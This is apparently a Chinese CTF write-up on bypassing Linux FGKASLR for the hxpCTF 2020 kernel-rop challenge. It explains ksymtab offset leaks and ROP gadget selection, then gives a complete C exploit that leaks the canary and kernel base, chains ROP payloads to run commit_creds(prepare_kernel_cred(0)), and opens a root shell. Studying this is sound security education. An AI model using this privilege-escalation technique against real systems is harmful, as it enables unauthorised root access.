FGKASLR FGASLR(Function Granular KASLR)是KASLR的加强版,增加了更细粒度的地址随机化。因此在开启了FGASLR的内核中,即使泄露了内核的程序基地址也不能调用任意的内核函数。
layout_randomized_image 在fgkaslr.c 文件中存在着随机化的明细。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 void layout_randomized_image (void *output, Elf64_Ehdr *ehdr, Elf64_Phdr *phdrs) { ... shnum = ehdr->e_shnum; shstrndx = ehdr->e_shstrndx; ... sechdrs = malloc (sizeof (*sechdrs) * shnum); if (!sechdrs) error("Failed to allocate space for shdrs" ); sections = malloc (sizeof (*sections) * shnum); if (!sections) error("Failed to allocate space for section pointers" ); memcpy (sechdrs, output + ehdr->e_shoff, sizeof (*sechdrs) * shnum); s = &sechdrs[shstrndx]; secstrings = malloc (s->sh_size); if (!secstrings) error("Failed to allocate space for shstr" ); memcpy (secstrings, output + s->sh_offset, s->sh_size); for (i = 0 ; i < shnum; i++) { s = &sechdrs[i]; sname = secstrings + s->sh_name; if (s->sh_type == SHT_SYMTAB) { if (symtab) error("Unexpected duplicate symtab" ); symtab = malloc (s->sh_size); if (!symtab) error("Failed to allocate space for symtab" ); memcpy (symtab, output + s->sh_offset, s->sh_size); num_syms = s->sh_size / sizeof (*symtab); continue ; } ... if (!strcmp (sname, ".text" )) { if (text) error("Unexpected duplicate .text section" ); text = s; continue ; } if (!strcmp (sname, ".data..percpu" )) { percpu = s; continue ; } if (!(s->sh_flags & SHF_ALLOC) || !(s->sh_flags & SHF_EXECINSTR) || !(strstarts(sname, ".text" ))) continue ; sections[num_sections] = s; num_sections++; } sections[num_sections] = NULL ; sections_size = num_sections; ... }
通过上述代码分析可知
可以看到layout_randomized_image
函数还是会保持原有的节区偏移,但是会在内存中寻找另一个空间进行存储,这就导致在内核开启了FGKASLR保护时并不是所有的节区都以内核程序基地址作为基址进行偏移,想要做到任意内核函数的调用,就需要找到调用函数所处的节区的基地址,使得利用更加复杂化了。
FGKASLR保护的绕过 想要绕过FGKASLR,我们可以挑选不受影响的节区中的gadget
进行ROP
链的构造。
首先是不存在SHF_ALLOC
与SHF_EXECINSTR
标志位的节区
其次是.text
的节区,可以看到该节区存在0x200000
的大小,因此可以挑选0xffffffff81000000 - 0xffffffff81000000 + 0x200000
,可选的gadget
还是比较充足的。
上述的节区都是不受FGKASLR保护的影响,只需要泄露出内核程序的基地址,就可以按照绕过KASLR的思路进行漏洞的利用。
想要在内核态完成提权返回到用户态,我们需要调用commit_creds(prepare_kernel_cred(0)) -> swapgs -> iretq
因此先来看commit_creds
与prepare_kernel_cred
函数是否符合要求,可以看到commit_creds
函数的地址为0xffffffff814c6410
,prepare_kernel_cred
函数的地址为0xffffffff814c67f0
都是超过.text
的节区空间了(这里我是关闭了KASLR的)。
可以多运行几次环境,查看这个两个函数的地址,会发现末尾地址的偏移会一直在变化。(开启了KASLR)
cat /proc/kallsyms | grep -E "commit_creds|prepare_kernel_cred"
第一次
第二次
可以看到第一次运行与第二次运行的地址是完全不一样的,但是处于不进行细粒度的节区ksymtab
,只有中间的九个比特位(KASLR)发生了改变,其余部分是一致的。这也是KASLR
与FGKASLR
的区别。但是实际的利用又需要用到这两个函数,因此还是需要特殊的手法泄露出这两个函数的实际地址。(1)能够泄露这两个函数现有的基地址(2)通过符号表进行地址读取。
这里采用(2)的手法进行函数地址的泄露,ksymtab
节存放着内核函数的符号表,使用下述结构体进行维护。
1 2 3 4 5 struct kernel_symbol { int value_offset; int name_offset; int namespace_offset; };
value_offset
:内核符号的值的偏移
name_offset
:内核符号的名称的偏移
namespace_offset
:内核符号所属的命名空间的名称在内存中的偏移量或地址。
因此value_offset
正是我们所关注的,这里需要注意的是这里的偏移地址是基于当前地址的偏移。以ksymtab_commit_creds
为例,ksymtab_commit_creds
的地址值为0xffffffffa8587d90
,该地址存储的值为0xffa17ef0
,计算的结果为0xffffffffa8587d90- (2^32 - 0xffa17ef0) = 0xffffffffa7f9fc80
,结果刚好是commit_creds
函数的地址值,这里说明一下为什么需要用(2^32 - 0xffa17ef0)
,因为value_offset
是int
类型,而0xffa17ef0
是负数,因此需要先转换在进行相减才是实际值。
那么利用上述的方法就可以求出commit_creds
与prepare_kernel_cred
函数的地址。
那么接着看如何获取swapgs
与iretq
指令的地址,之前在介绍如何绕过kpti
时介绍过一个特殊的函数swapgs_restore_regs_and_return_to_usermode
,里面除了能够通过cr3
转换页表,里面还具备swapgs
和iretq
指令。在内核中搜索一下这个函数的地址,可以发现它处于.text
节区的范围内,因此这个地址可以直接拿来用。
因此绕过FGKASLR
的方法就出来了,首先是泄露内核程序基地址,通过该基地址获得__ksymtab_commit_creds
与__ksymtab_prepare_kernel_cred
的地址,通过上述两个符号获取实际的commit_creds
与prepare_kernel_cred
函数的地址,最后通过swapgs_restore_regs_and_return_to_usermode
函数返回用户态。
hxpCTF 2020 kernel-rop run.sh 1 2 3 4 5 6 7 8 9 10 11 12 qemu-system-x86_64 \ -m 128 M \ -cpu kvm64,+smep,+smap \ -kernel vmlinuz \ -initrd initramfs.cpio.gz \ -hdb flag.txt \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -append "console=ttyS0 kaslr kpti=1 quiet panic=1" \ -s
这里还是使用 hxpCTF 2020的内核题作为例子
项目地址:https://github.com/h0pe-ay/Kernel-Pwn
之前提到过了程序存在栈溢出的漏洞,并且允许我们读取内核栈上的数据,通过读取内核栈上的数据可以泄露出canary
的值以及程序的基地址,这里需要特别注意的是,当开启了FGKASLR
时,不是所有的地址都可以用来计算基地址的,只能找在.text
范围内的地址,否则是无法计算出内核程序基地址。因此这里选择0xffffffff8100a157
的地址作为泄露地址。
那么在泄露了canary
和地址之后就可以利用栈溢出完成提权返回用户态了,在之前的用户态下的利用,我们可以借助write
或者是puts
函数去读取地址中的内容,但是在内核态的利用则不需要这么麻烦了,例如可以先将__ksymtab_commit_creds
地址赋值给rax
寄存器,接着通过mov rax,[rax]; ret
的指令完成对指定地址完成读取操作。这里我使用的gadget
为
1 2 0xffffffff81004d11 : pop rax; ret; [0x4d11 ]0xffffffff81015a7f : mov rax, qword ptr [rax]; pop rbp; ret; [0x15a7f ]
首先利用pop rax; ret
指令,将__ksymtab_commit_creds
函数的地址赋值给rax
寄存器,接着使用mov rax, qword ptr [rax];
函数将__ksymtab_commit_creds
地址的内容读取到rax
寄存器中,那么接下来就是如何提取出rax
寄存器。可以借助swapgs_restore_regs_and_return_to_usermode
函数先暂时返回到用户态,接着采用内联汇编,进行值的提取。这里需要注意的是需要将ROP
链与内联汇编分隔开,否则rax
寄存器可能会被编译器优化掉,即会有清空rax
寄存器的操作 。并且所有找的gadget
都必须是不会进行细粒度调整的节区中挑选,否则无法获取真实地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 ...void start () { unsigned long payload[256 ]; unsigned int index = 0 ; for (int i = 0 ; i < (16 ); i ++) payload[index++] = 0 ; payload[index++] = canary; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = image_base + 0x4d11 ; payload[index++] = image_base + 0xf87d90 ; payload[index++] = image_base + 0x15a7f ; payload[index++] = 0 ; payload[index++] = image_base + 0x200f10 + 22 ; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = (unsigned long )leak_commit_creds; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8 ); }void leak_commit_creds () { __asm( ".intel_syntax noprefix;" "mov commit_creds_offset, eax;" ".att_syntax;" ); printf ("commit_cred_offset:0x%x\n" , commit_creds_offset); commit_creds = image_base + 0xf87d90 + (int )commit_creds_offset; printf ("commit_cred:0x%lx\n" , commit_creds); jmp_leak_prepare_kernel_cred(); } ...
在调用为prepare_kernel_cred
后需要将rax
寄存器的值传递给rdi
寄存器中,因为需要作为commit_creds
函数的参数。但是在.text
中找了很久都没有合适的gadget
,那么还是同样采用内联汇编,将rax
寄存器的值读取出,再传递给commit_creds
函数即可。这里又需要特别注意,最好不要使用太多的全局变量存储,否则会覆盖一开始保存的user_cs,user_rflags,user_sp,user_ss的变量值。 因此在payload
中我特定将这几个变量初始化的特定的值,使得这几个变量存储在.data
段防止被其它的值覆盖。
因此针对FGKASLR
保护的绕过,实际是利用FGKASLR
特点,只在特定的区域中选取适合的gadget
,从而将FGKASLR
弱化为KASLR
,进而继续利用。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 #include <stdio.h> #include <fcntl.h> #define MAX 1 int fd;unsigned long user_cs = MAX,user_rflags = MAX,user_sp = MAX,user_ss = MAX;unsigned long image_base;unsigned long commit_creds;unsigned long prepare_kernel_cred;unsigned long canary;int prepare_kernel_cred_offset;int commit_creds_offset;unsigned long cred;void save_state () ;void backdoor () ;void leak_commit_creds () ;void leak_prepare_kernel_cred () ;void get_cred () ;void jmp_get_cred () ;void jmp_leak_prepare_kernel_cred () ;void jmp_get_cred () ;void jmp_back_door () ;void start () ;void save_state () { __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts ("***save state***" ); printf ("user_cs:0x%lx\n" , user_cs); printf ("user_sp:0x%lx\n" , user_sp); printf ("user_ss:0x%lx\n" , user_ss); printf ("user_rflags:0x%lx\n" , user_rflags); puts ("***save finish***" ); }void backdoor () { puts ("***getshell***" ); system("/bin/sh" ); }void start () { unsigned long payload[256 ]; unsigned int index = 0 ; for (int i = 0 ; i < (16 ); i ++) payload[index++] = 0 ; payload[index++] = canary; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = image_base + 0x4d11 ; payload[index++] = image_base + 0xf87d90 ; payload[index++] = image_base + 0x15a7f ; payload[index++] = 0 ; payload[index++] = image_base + 0x200f10 + 22 ; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = (unsigned long )leak_commit_creds; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8 ); }void leak_commit_creds () { __asm( ".intel_syntax noprefix;" "mov commit_creds_offset, eax;" ".att_syntax;" ); printf ("commit_cred_offset:0x%x\n" , commit_creds_offset); commit_creds = image_base + 0xf87d90 + (int )commit_creds_offset; printf ("commit_cred:0x%lx\n" , commit_creds); jmp_leak_prepare_kernel_cred(); }void jmp_leak_prepare_kernel_cred () { unsigned long payload[256 ]; unsigned int index = 0 ; for (int i = 0 ; i < (16 ); i ++) payload[index++] = 0 ; payload[index++] = canary; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = image_base + 0x4d11 ; payload[index++] = image_base + 0xf8d4fc ; payload[index++] = image_base + 0x15a7f ; payload[index++] = 0 ; payload[index++] = image_base + 0x200f10 + 22 ; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = (unsigned long )leak_prepare_kernel_cred; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8 ); }void leak_prepare_kernel_cred () { __asm( ".intel_syntax noprefix;" "mov prepare_kernel_cred_offset, rax;" ".att_syntax;" ); printf ("prepare_kernel_cred_offset:0x%x\n" , prepare_kernel_cred_offset); prepare_kernel_cred = image_base + 0xf8d4fc + (int )prepare_kernel_cred_offset; printf ("prepare_kernel_cred:0x%lx\n" , prepare_kernel_cred); printf ("jmp get cred\n" ); jmp_get_cred(); }void jmp_get_cred () { unsigned long payload[256 ]; unsigned int index = 0 ; for (int i = 0 ; i < (16 ); i ++) payload[index++] = 0 ; payload[index++] = canary; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = image_base + 0x6370 ; payload[index++] = 0 ; payload[index++] = prepare_kernel_cred; payload[index++] = image_base + 0x200f10 + 22 ; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = (unsigned long )get_cred; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8 ); }void get_cred () { __asm( ".intel_syntax noprefix;" "mov cred, rax;" ".att_syntax;" ); printf ("cred:0x%lx\n" , cred); jmp_back_door(); }void jmp_back_door () { unsigned long payload[256 ]; unsigned int index = 0 ; for (int i = 0 ; i < (16 ); i ++) payload[index++] = 0 ; payload[index++] = canary; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = image_base + 0x6370 ; payload[index++] = cred; payload[index++] = commit_creds; payload[index++] = image_base + 0x200f10 + 22 ; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = (unsigned long )backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8 ); }int main () { save_state(); fd = open("/dev/hackme" , O_RDWR); unsigned long buf[256 ]; read(fd, buf, 40 * 8 ); for (int i = 0 ; i < 40 ; i++) printf ("i:%d\taddress:0x%lx\n" ,i, buf[i]); canary = buf[2 ]; unsigned long leak_addr = buf[38 ]; printf ("leak addr:0x%lx\n" , leak_addr); image_base = leak_addr - 0xa157 ; printf ("ImageBase:0x%lx\n" , image_base); start(); }
参考链接 https://lkmidas.github.io/posts/20210205-linux-kernel-pwn-part-3/#about-kaslr-and-fg-kaslr
https://ctf-wiki.org/pwn/linux/kernel-mode/defense/randomization/fgkaslr/#_1
https://blog-wohin-me.translate.goog/posts/linux-kernel-pwn-01/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl